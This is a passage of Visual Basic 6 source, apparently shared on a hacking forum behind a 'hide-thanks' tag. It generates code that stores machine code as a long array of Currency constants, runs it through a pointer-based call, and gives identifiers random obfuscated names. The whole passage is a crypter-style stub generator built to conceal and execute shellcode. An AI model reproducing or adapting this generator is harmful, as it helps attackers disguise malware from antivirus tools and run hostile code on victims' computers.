Text1.Text = Text1.Text & A1 & "(25) = 150655457759015.8157@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(26) = 763810498295053.1535@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(27) = -334758189796557.4082@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(28) = 763810498175933.6042@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(29) = 769693235337619.0272@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(30) = 658651445508203.5218@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(31) = 93228415366.4744@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(32) = 337544363.4688@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(33) = -171181400105556.1333@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(34) = -43143787013419.7499@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(35) = -843073848963811.6758@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(36) = 586115344006226.9449@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(37) = 81903309047.8335@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(38) = -170655782147139.7888@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(39) = -296106572219468.926@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(40) = -171744351251070.9758@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(41) = 478565684273270.0365@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(42) = 766128157362243.3@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(43) = 763822153521118.6688@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(44) = -5798494293561.088@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(45) = 292876624.968@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(46) = -303308424893800.028@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(47) = 18687314406408.1922@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(48) = -814921249263117.9264@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(49) = 377936345376908.9026@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(50) = 914455950214871.0911@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(51) = 793381819255881.7282@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(52) = 247979454486563.4385@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(53) = -842580059571706.7544@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(54) = 261953043.9225@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(55) = 1351124663940.1355@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(56) = -5728895679889.4336@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(57) = 16435523184027.2177@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(58) = 453291086712582.9632@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(59) = -171181401297649.6638@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(60) = 247984901789109.5093@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(61) = 763853927511347.5304@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(62) = 68764336814004.0238@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(63) = 377880083361326.677@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(64) = 58153857883.8015@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(65) = -170634502550313.984@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(66) = -6846382739763.962@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(67) = 217285200.5584@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(68) = 273152312385105.8024@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(69) = 13733354816300.6466@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(70) = 764000768607145.1648@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(71) = 17395153563837.4458@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(72) = -353751767489869.7902@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(73) = 763363.3281@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(74) = 392094642558210.6624@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(75) = 764766522162398.7432@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(76) = 126410412043612.3678@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(77) = 27351427555.8027@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(78) = 11706747011255.5776@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(79) = -757276053642969.088@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(80) = 360268856045024.0513@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(81) = 749398978656993.7514@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(82) = 12354147786351.6251@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(83) = 769693219347778.7648@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(84) = 414640788194904.6822@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(85) = -171181417231738.2261@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(86) = 276807880992725.4373@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(87) = -842805239553082.2424@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(88) = 37043291672.0721@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(89) = 507392545273423.744@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(90) = 769258247064186.1864@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(91) = 68764336812483.5886@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(92) = 360268875651665.0832@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(93) = 749398978495932.017@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(94) = 9651988025294.3009@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(95) = 769693219347778.7648@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(96) = 126410412042563.7942@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(97) = -171294008471547.0205@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(98) = -387449256181707.5451@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(99) = 363299752439103.6175@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(100) = -410459675325517.2888@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(101) = -172926570866094.7199@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(102) = -635688100489173.3787@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(103) = 763810497261576.6376@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(104) = 126410412042144.3634@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(105) = -843073849903335.4646@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(106) = 769693215773368.7817@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(107) = 414640788193698.8194@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(108) = 4951342415221.7475@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(109) = 4636260512845.0048@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(110) = -171631782205882.368@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(111) = 507388721888441.1549@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(112) = 31815578412492.9256@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(113) = -872572382190820.8041@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(114) = -286501654647065.8048@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(115) = -428658242031485.5343@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(116) = 3149895693349.6588@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(117) = 22752143878461.8496@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(118) = 10655039450.0177@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(119) = 19434514006.2976@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(120) = 2249161163731.9936@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(121) = 590215178835617.3824@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(122) = -171519195984216.1688@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(123) = 334471606820667.3981@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(124) = -6937148713125.7624@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(125) = 3006614124114.7186@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(126) = 457802337043140.7336@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(127) = 34749504.673@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(128) = -843073850212036.239@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(129) = 536232810004781.4409@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(130) = 699902812802672.356@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(131) = -439434742750697.5805@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(132) = 756604737376275.6714@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(133) = 869968633553.1604@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(134) = 450404738465.792@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(135) = -7194094211452.1344@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(136) = -1353710065018.4752@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(137) = -439079356974065.2545@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(138) = 566676858034822.4232@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(139) = 32602016.4622@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(140) = -7089160921751.4365@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(141) = 410061545662244.4496@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(142) = 617979275378688@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(143) = 725985904952471.1762@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(144) = 854193482151915.9435@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(145) = -842159216757581.13@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(146) = 457592490565246.7766@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(147) = 17684902147728.7019@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(148) = 643884385768544.0491@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(149) = 622040492439682.185@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(150) = 842553683379673.7879@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(151) = 865826324060815.6483@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(152) = 233132869356380.6979@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(153) = -841594865717950.1309@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(154) = -598169487549740.1085@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(155) = 22006038477175.2068@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(156) = 843978581769276.108@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(157) = -840178504924852.7391@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(158) = -836852911227146.7764@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(159) = 643884385767650.3812@" & vbCrLf
Text1.Text = Text1.Text & A1 & "(160) = 328436.0538@" & vbCrLf

Text1.Text = Text1.Text & L9 & " VarPtr(" & A1 & "(0)), StrPtr(" & Z6 & "), VarPtr(" & Z7 & "(0)), 0, 0" & vbCrLf

Text1.Text = Text1.Text & "End Function" & vbCrLf

Next i
Clipboard.Clear
Clipboard.SetText Form1.Text1.Text, vbCFText
End Sub
Public Function GenerateCode()
strInputString = "BHSPYTaFÄY–YZUS¥ÄaIxRHRÄNX±URMCWWFLxNUxWLKYxRPPKCÄC–JFCCYY±MZÄWFGVšFHSKAWP¥SPAšZKLKWTWGYVIVGFHJ–BaRUC±xYaS±M¥HBTSYGM±FDH¥SZ¾FW¥xPKJaKRYHDMDT±ZYNRW±XVMVAJIAxMUGJAYGJIPVB–Z±LIPIÄSVZWšššx¾WLKHBxXBšLRHSRHP»©K™±B¸±G¾¾£ääøœ¦œ¦þžµïMĺ§KÅÅΰGº¹º±ºÆ«ä¬¬¥ººJ¬º›€«¦º¬¦Øhœœ€¼T¦ž¥¯OÑ›ÈGsä¼½±ÙäwQ§¾œT»¥ž»¦ÉD°œ¥ºò°¦MºW«Ì°m¦±œ°€Ø¬P©°ûțĦ¾Wº©½ºä½j逺ºœºµE·€§ÉÄDD¹X±¾Ý¨È»¾µwþ¬Pm¼òÿœ€¬»ž¦ùÈ¥¦›gȺG¤°»¾€œÙž¼Gg¸€ò±t»«ž"

intLength = Len(strInputString)

intNameLength = Text12

Randomize

strName = ""

For intStep = 1 To intNameLength
intRnd = Int((intLength * Rnd) + 1)

strName = strName & Mid(strInputString, intRnd, 1)
Next

GenerateCode = strName
End Function

[/HIDE-THANKS]